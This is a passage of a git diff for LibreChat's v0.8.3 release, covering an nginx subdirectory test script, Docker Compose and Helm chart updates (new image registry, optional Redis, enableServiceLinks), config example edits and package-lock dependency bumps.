.env file:" + echo " DOMAIN_CLIENT=http://localhost:8080/chat" + echo " DOMAIN_SERVER=http://localhost:8080/chat" + echo "" + echo "Then restart the backend: npm run backend" + echo "" + fi + + # Write and start nginx + write_nginx_conf + echo "Starting nginx on port 8080 with subdirectory /chat/ ..." + + # Stop any existing test nginx + if [ -f "$NGINX_PID" ] && kill -0 "$(cat "$NGINX_PID")" 2>/dev/null; then + nginx -c "$NGINX_CONF" -s stop 2>/dev/null || true + sleep 1 + fi + + nginx -c "$NGINX_CONF" + echo "nginx started (PID: $(cat "$NGINX_PID" 2>/dev/null || echo 'unknown'))" + echo "" + echo "=== Test URLs ===" + echo " Main: http://localhost:8080/chat/" + echo " Login: http://localhost:8080/chat/login" + echo " Expect: Redirects should go to /chat/login, NOT /chat/chat/login" + echo "" + echo "=== Logs ===" + echo " Access: /tmp/librechat-subdir-test-nginx-access.log" + echo " Error: /tmp/librechat-subdir-test-nginx-error.log" + echo "" + echo "Run '$0 stop' to clean up." +} + +stop() { + echo "--- Cleaning up subdirectory test environment ---" + + if [ -f "$NGINX_PID" ] && kill -0 "$(cat "$NGINX_PID")" 2>/dev/null; then + nginx -c "$NGINX_CONF" -s stop + echo "nginx stopped." + else + echo "nginx not running." + fi + + rm -f "$NGINX_CONF" /tmp/librechat-subdir-test-nginx-*.log + + if [ -f "${ENV_FILE}.bak-subdir-test" ]; then + echo "Restore .env backup: cp ${ENV_FILE}.bak-subdir-test ${ENV_FILE}" + fi +} + +case "${1:-}" in + start) start ;; + stop) stop ;; + *) + echo "Usage: $0 {start|stop}" + exit 1 + ;; +esac diff --git a/deploy-compose.yml b/deploy-compose.yml index 040783b0b0..968768b818 100644 --- a/deploy-compose.yml +++ b/deploy-compose.yml @@ -4,7 +4,7 @@ services: # context: . # dockerfile: Dockerfile.multi # target: api-build - image: ghcr.io/danny-avila/librechat-dev-api:latest + image: registry.librechat.ai/danny-avila/librechat-dev-api:latest container_name: LibreChat-API ports: - 3080:3080 @@ -53,7 +53,7 @@ services: command: mongod --noauth meilisearch: container_name: chat-meilisearch - image: getmeili/meilisearch:v1.12.3 + image: getmeili/meilisearch:v1.35.1 restart: always # ports: # Uncomment this to access meilisearch from outside docker # - 7700:7700 # if exposing these ports, make sure your master key is not the default value @@ -63,7 +63,7 @@ services: - MEILI_HOST=http://meilisearch:7700 - MEILI_NO_ANALYTICS=true volumes: - - ./meili_data_v1.12:/meili_data + - ./meili_data_v1.35.1:/meili_data vectordb: image: pgvector/pgvector:0.8.0-pg15-trixie environment: @@ -74,7 +74,7 @@ services: volumes: - pgdata2:/var/lib/postgresql/data rag_api: - image: ghcr.io/danny-avila/librechat-rag-api-dev-lite:latest + image: registry.librechat.ai/danny-avila/librechat-rag-api-dev-lite:latest environment: - DB_HOST=vectordb - RAG_PORT=${RAG_PORT:-8000} diff --git a/docker-compose.override.yml.example b/docker-compose.override.yml.example index 8c8aba9ed0..490436eb97 100644 --- a/docker-compose.override.yml.example +++ b/docker-compose.override.yml.example @@ -17,7 +17,7 @@ # - type: bind # source: ./librechat.yaml # target: /app/librechat.yaml -# image: ghcr.io/danny-avila/librechat:latest +# image: registry.librechat.ai/danny-avila/librechat:latest # --------------------------------------------------- @@ -39,19 +39,19 @@ # # BUILD FROM LATEST IMAGE # api: -# image: ghcr.io/danny-avila/librechat-dev:latest +# image: registry.librechat.ai/danny-avila/librechat-dev:latest # # BUILD FROM LATEST IMAGE (NUMBERED RELEASE) # api: -# image: ghcr.io/danny-avila/librechat:latest +# image: registry.librechat.ai/danny-avila/librechat:latest # # BUILD FROM LATEST API IMAGE # api: -# image: ghcr.io/danny-avila/librechat-dev-api:latest +# image: registry.librechat.ai/danny-avila/librechat-dev-api:latest # # BUILD FROM LATEST API IMAGE (NUMBERED RELEASE) # api: -# image: ghcr.io/danny-avila/librechat-api:latest +# image: registry.librechat.ai/danny-avila/librechat-api:latest # # ADD SAML CERT FILE # api: @@ -104,7 +104,7 @@ # # USE RAG API IMAGE WITH LOCAL EMBEDDINGS SUPPORT # rag_api: -# image: ghcr.io/danny-avila/librechat-rag-api-dev:latest +# image: registry.librechat.ai/danny-avila/librechat-rag-api-dev:latest # # For Linux user: # extra_hosts: # - "host.docker.internal:host-gateway" diff --git a/docker-compose.yml b/docker-compose.yml index 8df3044530..079cdb74b6 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -9,7 +9,7 @@ services: depends_on: - mongodb - rag_api - image: ghcr.io/danny-avila/librechat-dev:latest + image: registry.librechat.ai/danny-avila/librechat-dev:latest restart: always user: "${UID}:${GID}" extra_hosts: @@ -37,7 +37,7 @@ services: command: mongod --noauth meilisearch: container_name: chat-meilisearch - image: getmeili/meilisearch:v1.12.3 + image: getmeili/meilisearch:v1.35.1 restart: always user: "${UID}:${GID}" environment: @@ -45,7 +45,7 @@ services: - MEILI_NO_ANALYTICS=true - MEILI_MASTER_KEY=${MEILI_MASTER_KEY} volumes: - - ./meili_data_v1.12:/meili_data + - ./meili_data_v1.35.1:/meili_data vectordb: container_name: vectordb image: pgvector/pgvector:0.8.0-pg15-trixie @@ -58,7 +58,7 @@ services: - pgdata2:/var/lib/postgresql/data rag_api: container_name: rag_api - image: ghcr.io/danny-avila/librechat-rag-api-dev-lite:latest + image: registry.librechat.ai/danny-avila/librechat-rag-api-dev-lite:latest environment: - DB_HOST=vectordb - RAG_PORT=${RAG_PORT:-8000} diff --git a/e2e/jestSetup.js b/e2e/jestSetup.js index b4c48f79ea..64c1a8546f 100644 --- a/e2e/jestSetup.js +++ b/e2e/jestSetup.js @@ -1,3 +1,3 @@ -// v0.8.2 +// v0.8.3 // See .env.test.example for an example of the '.env.test' file. require('dotenv').config({ path: './e2e/.env.test' }); diff --git a/eslint.config.mjs b/eslint.config.mjs index 9990e0fc35..f53c4e83dd 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -291,6 +291,15 @@ export default [ files: ['./packages/api/**/*.ts'], rules: { 'lines-between-class-members': ['error', 'always', { exceptAfterSingleLine: true }], + '@typescript-eslint/no-unused-vars': [ + 'warn', + { + argsIgnorePattern: '^_', + varsIgnorePattern: '^_', + caughtErrorsIgnorePattern: '^_', + destructuredArrayIgnorePattern: '^_', + }, + ], }, }, { diff --git a/helm/librechat-rag-api/Chart.yaml b/helm/librechat-rag-api/Chart.yaml index 38d1470e49..7eaa0e355d 100755 --- a/helm/librechat-rag-api/Chart.yaml +++ b/helm/librechat-rag-api/Chart.yaml @@ -14,14 +14,14 @@ type: application # This is the chart version. This version number should be incremented each time you make changes # to the chart and its templates, including the app version. # Versions are expected to follow Semantic Versioning (https://semver.org/) -version: 0.5.2 +version: 0.5.3 # This is the version number of the application being deployed. This version number should be # incremented each time you make changes to the application. Versions are not expected to # follow Semantic Versioning. They should reflect the version the application is using. # It is recommended to use it with quotes. -# renovate: image=ghcr.io/danny-avila/librechat-rag-api-dev +# renovate: image=registry.librechat.ai/danny-avila/librechat-rag-api-dev appVersion: "v0.4.0" home: https://www.librechat.ai diff --git a/helm/librechat-rag-api/templates/rag-deployment.yaml b/helm/librechat-rag-api/templates/rag-deployment.yaml index 5324ee3f7e..1978260723 100755 --- a/helm/librechat-rag-api/templates/rag-deployment.yaml +++ b/helm/librechat-rag-api/templates/rag-deployment.yaml @@ -26,6 +26,9 @@ spec: imagePullSecrets: {{- toYaml . | nindent 8 }} {{- end }} + {{- if kindIs "bool" .Values.enableServiceLinks }} + enableServiceLinks: {{ .Values.enableServiceLinks }} + {{- end }} securityContext: {{- toYaml .Values.podSecurityContext | nindent 8 }} containers: diff --git a/helm/librechat-rag-api/values.yaml b/helm/librechat-rag-api/values.yaml index cd722bc096..be480d44c5 100755 --- a/helm/librechat-rag-api/values.yaml +++ b/helm/librechat-rag-api/values.yaml @@ -9,7 +9,7 @@ rag: image: repository: danny-avila/librechat-rag-api-dev-lite # there is rag-api-dev and rag-api-dev-lite. currently only lite is docuimented - registry: ghcr.io + registry: registry.librechat.ai pullPolicy: IfNotPresent # Overrides the image tag whose default is the chart appVersion. tag: latest @@ -40,6 +40,11 @@ fullnameOverride: '' podAnnotations: {} podLabels: {} +# Enable or disable injection of service environment variables into pods. +# When running in namespaces with many services, the injected variables can cause +# "argument list too long" errors. Set to false to disable. +enableServiceLinks: true + podSecurityContext: {} # fsGroup: 2000 securityContext: {} diff --git a/helm/librechat/Chart.yaml b/helm/librechat/Chart.yaml index 1e24daa280..a2dff261c7 100755 --- a/helm/librechat/Chart.yaml +++ b/helm/librechat/Chart.yaml @@ -15,15 +15,15 @@ type: application # This is the chart version. This version number should be incremented each time you make changes # to the chart and its templates, including the app version. # Versions are expected to follow Semantic Versioning (https://semver.org/) -version: 1.9.7 +version: 2.0.0 # This is the version number of the application being deployed. This version number should be # incremented each time you make changes to the application. Versions are not expected to # follow Semantic Versioning. They should reflect the version the application is using. # It is recommended to use it with quotes. -# renovate: image=ghcr.io/danny-avila/librechat -appVersion: "v0.8.2" +# renovate: image=registry.librechat.ai/danny-avila/librechat +appVersion: "v0.8.3" home: https://www.librechat.ai @@ -36,7 +36,11 @@ dependencies: version: "0.11.0" condition: meilisearch.enabled repository: "https://meilisearch.github.io/meilisearch-kubernetes" + - name: redis + version: "24.1.3" + condition: redis.enabled + repository: "https://charts.bitnami.com/bitnami" - name: librechat-rag-api - version: "0.5.2" + version: "0.5.3" condition: librechat-rag-api.enabled repository: file://../librechat-rag-api diff --git a/helm/librechat/templates/configmap-env.yaml b/helm/librechat/templates/configmap-env.yaml index 0817ceeaff..ed5ac822da 100755 --- a/helm/librechat/templates/configmap-env.yaml +++ b/helm/librechat/templates/configmap-env.yaml @@ -12,6 +12,12 @@ data: {{- if and (not (dig "configEnv" "MONGO_URI" "" .Values.librechat)) .Values.mongodb.enabled }} MONGO_URI: mongodb://{{ include "mongodb.service.nameOverride" .Subcharts.mongodb }}.{{ .Release.Namespace | lower }}.svc.cluster.local:27017/LibreChat {{- end }} + {{- if and (not (dig "configEnv" "USE_REDIS" "" .Values.librechat)) .Values.redis.enabled }} + USE_REDIS: "true" + {{- end }} + {{- if and (not (dig "configEnv" "REDIS_URI" "" .Values.librechat)) .Values.redis.enabled }} + REDIS_URI: redis://{{ include "common.names.fullname" .Subcharts.redis }}-master.{{ .Release.Namespace | lower }}.svc.cluster.local:6379 + {{- end }} {{- if .Values.librechat.configEnv }} {{- toYaml .Values.librechat.configEnv | nindent 2 }} {{- end }} \ No newline at end of file diff --git a/helm/librechat/templates/deployment.yaml b/helm/librechat/templates/deployment.yaml index f8d0e58298..279749185b 100755 --- a/helm/librechat/templates/deployment.yaml +++ b/helm/librechat/templates/deployment.yaml @@ -49,6 +49,9 @@ spec: {{- toYaml . | nindent 8 }} {{- end }} serviceAccountName: {{ include "librechat.serviceAccountName" . }} + {{- if kindIs "bool" .Values.enableServiceLinks }} + enableServiceLinks: {{ .Values.enableServiceLinks }} + {{- end }} securityContext: {{- toYaml .Values.podSecurityContext | nindent 8 }} {{- if .Values.initContainers }} diff --git a/helm/librechat/values.yaml b/helm/librechat/values.yaml index a15b681de2..1dbacbe89d 100755 --- a/helm/librechat/values.yaml +++ b/helm/librechat/values.yaml @@ -97,7 +97,6 @@ librechat: # titleModel: "gpt-3.5-turbo" # summarize: false # summaryModel: "gpt-3.5-turbo" - # forcePrompt: false # modelDisplayLabel: "OpenRouter" # name of existing Yaml configmap, key must be librechat.yaml @@ -119,7 +118,7 @@ librechat-rag-api: image: repository: danny-avila/librechat - registry: ghcr.io + registry: registry.librechat.ai pullPolicy: IfNotPresent # Overrides the image tag whose default is the chart appVersion. tag: "" @@ -154,6 +153,11 @@ podLabels: {} deploymentAnnotations: {} deploymentLabels: {} +# Enable or disable injection of service environment variables into pods. +# When running in namespaces with many services, the injected variables can cause +# "argument list too long" errors. Set to false to disable. +enableServiceLinks: true + podSecurityContext: fsGroup: 2000 @@ -300,8 +304,15 @@ meilisearch: persistence: enabled: true storageClass: "" - image: + image: tag: "v1.7.3" auth: # Use an existing Kubernetes secret for the MEILI_MASTER_KEY existingMasterKeySecret: "librechat-credentials-env" + +# Redis Parameters +redis: + enabled: false + architecture: standalone + auth: + enabled: false diff --git a/librechat.example.yaml b/librechat.example.yaml index c90ab6592a..03bb5f5bc2 100644 --- a/librechat.example.yaml +++ b/librechat.example.yaml @@ -2,7 +2,7 @@ # https://www.librechat.ai/docs/configuration/librechat_yaml # Configuration version (required) -version: 1.2.1 +version: 1.3.6 # Cache settings: Set to true to enable caching cache: true @@ -87,12 +87,14 @@ interface: presets: true prompts: use: true + create: true share: false public: false bookmarks: true multiConvo: true agents: use: true + create: true share: false public: false peoplePicker: @@ -102,17 +104,21 @@ interface: marketplace: use: false fileCitations: true - mcpServers: - # MCP Servers configuration + # Remote Agents configuration + # Controls user permissions for remote agents with external API support + # remoteAgents: + # use: false + # create: false + # share: false + # public: false + # MCP Servers configuration example + # mcpServers: # Controls user permissions for MCP (Model Context Protocol) server management # - use: Allow users to use configured MCP servers # - create: Allow users to create and manage new MCP servers # - share: Allow users to share MCP servers with other users # - public: Allow users to share MCP servers publicly (with everyone) - use: false - share: false - create: false - public: false + # Creation / edit MCP server config Dialog config example # trustCheckbox: # label: @@ -267,7 +273,7 @@ endpoints: # # Set to 0.0 to show all sources (no filtering), or higher like 0.7 for stricter filtering # minRelevanceScore: 0.45 # # (optional) Agent Capabilities available to all users. Omit the ones you wish to exclude. Defaults to list below. - # capabilities: ["execute_code", "file_search", "actions", "tools"] + # capabilities: ["deferred_tools", "execute_code", "file_search", "actions", "tools"] # Anthropic endpoint configuration with Vertex AI support # Use this to run Anthropic Claude models through Google Cloud Vertex AI @@ -377,9 +383,6 @@ endpoints: # Summary Model: Specify the model to use if summarization is enabled. # summaryModel: "mistral-tiny" # Defaults to "gpt-3.5-turbo" if omitted. - # Force Prompt setting: If true, sends a `prompt` parameter instead of `messages`. - # forcePrompt: false - # The label displayed for the AI model in messages. modelDisplayLabel: 'Mistral' # Default is "AI" when not set. @@ -439,25 +442,38 @@ endpoints: titleModel: 'current_model' summarize: false summaryModel: 'current_model' - forcePrompt: false modelDisplayLabel: 'Portkey' iconURL: https://images.crunchbase.com/image/upload/c_pad,f_auto,q_auto:eco,dpr_1/rjqy7ghvjoiu4cd1xjbf # AWS Bedrock Example # Note: Bedrock endpoint is configured via environment variables # bedrock: + # # Models Configuration + # # Specify which models are available (equivalent to BEDROCK_AWS_MODELS env variable) + # models: + # - "anthropic.claude-3-7-sonnet-20250219-v1:0" + # - "anthropic.claude-3-5-sonnet-20241022-v2:0" + # + # # Inference Profiles Configuration + # # Maps model IDs to their inference profile ARNs + # # IMPORTANT: The model ID (key) MUST be a valid AWS Bedrock model ID that you've added to the models list above + # # The ARN (value) is the inference profile you wish to map to for that model + # # Both the model ID and ARN are sent to AWS - the model ID for validation/metadata, the ARN for routing + # inferenceProfiles: + # "us.anthropic.claude-sonnet-4-20250514-v1:0": "${BEDROCK_INFERENCE_PROFILE_CLAUDE_SONNET}" + # "anthropic.claude-3-7-sonnet-20250219-v1:0": "arn:aws:bedrock:us-west-2:123456789012:application-inference-profile/abc123" + # # # Guardrail Configuration # guardrailConfig: # guardrailIdentifier: "your-guardrail-id" # guardrailVersion: "1" - # + # # # Trace behavior for debugging (optional) # # - "enabled": Include basic trace information about guardrail assessments # # - "enabled_full": Include comprehensive trace details (recommended for debugging) # # - "disabled": No trace information (default) # # Trace output is logged to application log files for compliance auditing # trace: "enabled" - # Example modelSpecs configuration showing grouping options # The 'group' field organizes model specs in the UI selector: # - If 'group' matches an endpoint name (e.g., "openAI", "groq"), the spec appears nested under that endpoint diff --git a/package-lock.json b/package-lock.json index cc1fecd951..502b3a8eed 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "LibreChat", - "version": "v0.8.2", + "version": "v0.8.3", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "LibreChat", - "version": "v0.8.2", + "version": "v0.8.3", "license": "ISC", "workspaces": [ "api", @@ -16,7 +16,7 @@ "devDependencies": { "@axe-core/playwright": "^4.10.1", "@eslint/compat": "^1.2.6", - "@eslint/eslintrc": "^3.3.1", + "@eslint/eslintrc": "^3.3.4", "@eslint/js": "^9.20.0", "@playwright/test": "^1.56.1", "@types/react-virtualized": "^9.22.0", @@ -40,33 +40,34 @@ "lint-staged": "^15.4.3", "prettier": "^3.5.0", "prettier-plugin-tailwindcss": "^0.6.11", + "turbo": "^2.8.12", "typescript-eslint": "^8.24.0" } }, "api": { "name": "@librechat/backend", - "version": "v0.8.2", + "version": "v0.8.3", "license": "ISC", "dependencies": { - "@anthropic-ai/sdk": "^0.71.0", - "@anthropic-ai/vertex-sdk": "^0.14.0", - "@aws-sdk/client-bedrock-runtime": "^3.941.0", - "@aws-sdk/client-s3": "^3.758.0", + "@anthropic-ai/vertex-sdk": "^0.14.3", + "@aws-sdk/client-bedrock-runtime": "^3.980.0", + "@aws-sdk/client-s3": "^3.980.0", "@aws-sdk/s3-request-presigner": "^3.758.0", "@azure/identity": "^4.7.0", "@azure/search-documents": "^12.0.0", - "@azure/storage-blob": "^12.27.0", + "@azure/storage-blob": "^12.30.0", "@google/genai": "^1.19.0", "@keyv/redis": "^4.3.3", "@langchain/core": "^0.3.80", - "@librechat/agents": "^3.0.776", + "@librechat/agents": "^3.1.55", "@librechat/api": "*", "@librechat/data-schemas": "*", "@microsoft/microsoft-graph-client": "^3.0.7", - "@modelcontextprotocol/sdk": "^1.25.3", + "@modelcontextprotocol/sdk": "^1.27.1", "@node-saml/passport-saml": "^5.1.0", "@smithy/node-http-handler": "^4.4.5", - "axios": "^1.12.1", + "ai-tokenizer": "^1.0.6", + "axios": "^1.13.5", "bcryptjs": "^2.4.3", "compression": "^1.8.1", "connect-redis": "^8.1.0", @@ -78,10 +79,10 @@ "eventsource": "^3.0.2", "express": "^5.2.1", "express-mongo-sanitize": "^2.2.0", - "express-rate-limit": "^8.2.1", + "express-rate-limit": "^8.3.0", "express-session": "^1.18.2", "express-static-gzip": "^2.2.0", - "file-type": "^18.7.0", + "file-type": "^21.3.2", "firebase": "^11.0.2", "form-data": "^4.0.4", "handlebars": "^4.7.7", @@ -95,13 +96,14 @@ "klona": "^2.0.6", "librechat-data-provider": "*", "lodash": "^4.17.23", + "mammoth": "^1.11.0", "mathjs": "^15.1.0", "meilisearch": "^0.38.0", "memorystore": "^1.6.7", "mime": "^3.0.0", "module-alias": "^2.2.3", "mongoose": "^8.12.1", - "multer": "^2.0.2", + "multer": "^2.1.1", "nanoid": "^3.3.7", "node-fetch": "^2.7.0", "nodemailer": "^7.0.11", @@ -117,14 +119,15 @@ "passport-jwt": "^4.0.1", "passport-ldapauth": "^3.0.1", "passport-local": "^1.0.0", + "pdfjs-dist": "^5.4.624", "rate-limit-redis": "^4.2.0", "sharp": "^0.33.5", - "tiktoken": "^1.0.15", "traverse": "^0.6.7", "ua-parser-js": "^1.0.36", - "undici": "^7.18.2", + "undici": "^7.24.1", "winston": "^3.11.0", "winston-daily-rotate-file": "^5.0.0", + "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", "zod": "^3.22.4" }, "devDependencies": { @@ -134,26 +137,6 @@ "supertest": "^7.1.0" } }, - "api/node_modules/@anthropic-ai/sdk": { - "version": "0.71.2", - "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.71.2.tgz", - "integrity": "sha512-TGNDEUuEstk/DKu0/TflXAEt+p+p/WhTlFzEnoosvbaDU2LTjm42igSdlL0VijrKpWejtOKxX0b8A7uc+XiSAQ==", - "license": "MIT", - "dependencies": { - "json-schema-to-ts": "^3.1.1" - }, - "bin": { - "anthropic-ai-sdk": "bin/cli" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - }, - "peerDependenciesMeta": { - "zod": { - "optional": true - } - } - }, "api/node_modules/@node-saml/node-saml": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@node-saml/node-saml/-/node-saml-5.1.0.tgz", @@ -287,22 +270,22 @@ "node": ">= 0.8.0" } }, - "api/node_modules/express-rate-limit": { - "version": "8.2.1", - "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.2.1.tgz", - "integrity": "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g==", + "api/node_modules/file-type": { + "version": "21.3.2", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.3.2.tgz", + "integrity": "sha512-DLkUvGwep3poOV2wpzbHCOnSKGk1LzyXTv+aHFgN2VFl96wnp8YA9YjO2qPzg5PuL8q/SW9Pdi6WTkYOIh995w==", "license": "MIT", "dependencies": { - "ip-address": "10.0.1" + "@tokenizer/inflate": "^0.4.1", + "strtok3": "^10.3.4", + "token-types": "^6.1.1", + "uint8array-extras": "^1.4.0" }, "engines": { - "node": ">= 16" + "node": ">=20" }, "funding": { - "url": "https://github.com/sponsors/express-rate-limit" - }, - "peerDependencies": { - "express": ">= 4.11" + "url": "https://github.com/sindresorhus/file-type?sponsor=1" } }, "api/node_modules/jose": { @@ -314,36 +297,6 @@ "url": "https://github.com/sponsors/panva" } }, - "api/node_modules/mkdirp": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", - "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", - "license": "MIT", - "dependencies": { - "minimist": "^1.2.6" - }, - "bin": { - "mkdirp": "bin/cmd.js" - } - }, - "api/node_modules/multer": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/multer/-/multer-2.0.2.tgz", - "integrity": "sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw==", - "license": "MIT", - "dependencies": { - "append-field": "^1.0.0", - "busboy": "^1.6.0", - "concat-stream": "^2.0.0", - "mkdirp": "^0.5.6", - "object-assign": "^4.1.1", - "type-is": "^1.6.18", - "xtend": "^4.0.2" - }, - "engines": { - "node": ">= 10.16.0" - } - }, "api/node_modules/negotiator": { "version": "0.6.4", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", @@ -413,6 +366,40 @@ "@img/sharp-win32-x64": "0.33.5" } }, + "api/node_modules/strtok3": { + "version": "10.3.4", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.4.tgz", + "integrity": "sha512-KIy5nylvC5le1OdaaoCJ07L+8iQzJHGH6pWDuzS+d07Cu7n1MZ2x26P8ZKIWfbK02+XIL8Mp4RkWeqdUCrDMfg==", + "license": "MIT", + "dependencies": { + "@tokenizer/token": "^0.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "api/node_modules/token-types": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.2.tgz", + "integrity": "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==", + "license": "MIT", + "dependencies": { + "@borewit/text-codec": "^0.2.1", + "@tokenizer/token": "^0.3.0", + "ieee754": "^1.2.1" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, "api/node_modules/winston-daily-rotate-file": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/winston-daily-rotate-file/-/winston-daily-rotate-file-5.0.0.tgz", @@ -442,7 +429,7 @@ }, "client": { "name": "@librechat/frontend", - "version": "v0.8.2", + "version": "v0.8.3", "license": "ISC", "dependencies": { "@ariakit/react": "^0.4.15", @@ -454,6 +441,7 @@ "@librechat/client": "*", "@marsidev/react-turnstile": "^1.1.0", "@mcp-ui/client": "^5.7.0", + "@monaco-editor/react": "^4.7.0", "@radix-ui/react-accordion": "^1.1.2", "@radix-ui/react-alert-dialog": "1.0.2", "@radix-ui/react-checkbox": "^1.0.3", @@ -496,7 +484,7 @@ "lodash": "^4.17.23", "lucide-react": "^0.394.0", "match-sorter": "^8.1.0", - "mermaid": "^11.12.2", + "mermaid": "^11.13.0", "micromark-extension-llm-math": "^3.1.0", "qrcode.react": "^4.2.0", "rc-input-number": "^7.4.2", @@ -509,7 +497,6 @@ "react-gtm-module": "^2.0.11", "react-hook-form": "^7.43.9", "react-i18next": "^15.4.0", - "react-lazy-load-image-component": "^1.6.0", "react-markdown": "^9.0.1", "react-resizable-panels": "^3.0.6", "react-router-dom": "^6.30.3", @@ -538,6 +525,7 @@ "@babel/preset-env": "^7.22.15", "@babel/preset-react": "^7.22.15", "@babel/preset-typescript": "^7.22.15", + "@happy-dom/jest-environment": "^20.8.3", "@tanstack/react-query-devtools": "^4.29.0", "@testing-library/dom": "^9.3.0", "@testing-library/jest-dom": "^5.16.5", @@ -546,10 +534,10 @@ "@types/jest": "^29.5.14", "@types/js-cookie": "^3.0.6", "@types/lodash": "^4.17.15", - "@types/node": "^20.3.0", + "@types/node": "^20.19.35", "@types/react": "^18.2.11", "@types/react-dom": "^18.2.4", - "@vitejs/plugin-react": "^4.3.4", + "@vitejs/plugin-react": "^5.1.4", "autoprefixer": "^10.4.20", "babel-plugin-replace-ts-export-assignment": "^0.0.2", "babel-plugin-root-import": "^6.6.0", @@ -560,18 +548,98 @@ "identity-obj-proxy": "^3.0.0", "jest": "^30.2.0", "jest-canvas-mock": "^2.5.2", - "jest-environment-jsdom": "^29.7.0", + "jest-environment-jsdom": "^30.2.0", "jest-file-loader": "^1.0.3", "jest-junit": "^16.0.0", + "monaco-editor": "^0.55.1", "postcss": "^8.4.31", - "postcss-loader": "^7.1.0", - "postcss-preset-env": "^8.2.0", + "postcss-preset-env": "^11.2.0", "tailwindcss": "^3.4.1", "typescript": "^5.3.3", - "vite": "^6.4.1", + "vite": "^7.3.1", "vite-plugin-compression2": "^2.2.1", - "vite-plugin-node-polyfills": "^0.23.0", - "vite-plugin-pwa": "^0.21.2" + "vite-plugin-node-polyfills": "^0.25.0", + "vite-plugin-pwa": "^1.2.0" + } + }, + "client/node_modules/@babel/code-frame": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", + "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.28.5", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "client/node_modules/@babel/core": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", + "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-module-transforms": "^7.28.6", + "@babel/helpers": "^7.28.6", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/traverse": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "client/node_modules/@babel/generator": { + "version": "7.29.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", + "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "client/node_modules/@babel/helper-compilation-targets": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", + "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.6", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" } }, "client/node_modules/@babel/helper-create-class-features-plugin": { @@ -596,16 +664,6 @@ "@babel/core": "^7.0.0" } }, - "client/node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": 